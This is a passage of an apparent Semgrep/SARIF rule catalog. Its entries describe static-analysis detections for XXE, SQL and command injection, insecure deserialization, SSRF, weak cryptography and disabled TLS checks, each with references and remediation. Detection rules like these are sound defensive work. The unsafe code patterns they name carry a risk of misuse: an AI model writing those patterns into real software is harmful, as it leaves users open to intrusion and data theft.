[https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded)\n","text":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","id":"cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","name":"cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","properties":{"precision":"very-high","tags":["CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override)\n - [https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","id":"csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","name":"csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://www.php.net/password_hash](https://www.php.net/password_hash)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`."},"helpUri":"https://semgrep.dev/r/php.lang.security.md5-used-as-password.md5-used-as-password","id":"php.lang.security.md5-used-as-password.md5-used-as-password","name":"php.lang.security.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","id":"python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","name":"python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults)\n - [https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","id":"csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","name":"csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-empty-password.python-requests-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-empty-password.python-requests-empty-password","id":"python.requests.python-requests-empty-password.python-requests-empty-password","name":"python.requests.python-requests-empty-password.python-requests-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-empty-password.python-requests-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ECB (Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM."},"help":{"markdown":"ECB (Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#insecure-modes](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#insecure-modes)\n - [https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption](https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption)\n","text":"ECB (Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","id":"python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","name":"python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size)\n - [https://www.cosic.esat.kuleuven.be/ecrypt/ecrypt2/documents/D.SPA.20.pdf](https://www.cosic.esat.kuleuven.be/ecrypt/ecrypt2/documents/D.SPA.20.pdf)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","id":"python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","name":"python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification)\n - [https://riptutorial.com/java/example/16517/temporarily-disable-ssl-verification--for-testing-purposes-](https://riptutorial.com/java/example/16517/temporarily-disable-ssl-verification--for-testing-purposes-)\n - [https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1](https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1)\n","text":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","id":"java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","name":"java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spel-injection.spel-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spel-injection.spel-injection","id":"java.spring.security.audit.spel-injection.spel-injection","name":"java.spring.security.audit.spel-injection.spel-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spel-injection.spel-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","id":"kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","name":"kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","id":"python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","name":"python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","id":"python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","name":"python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. 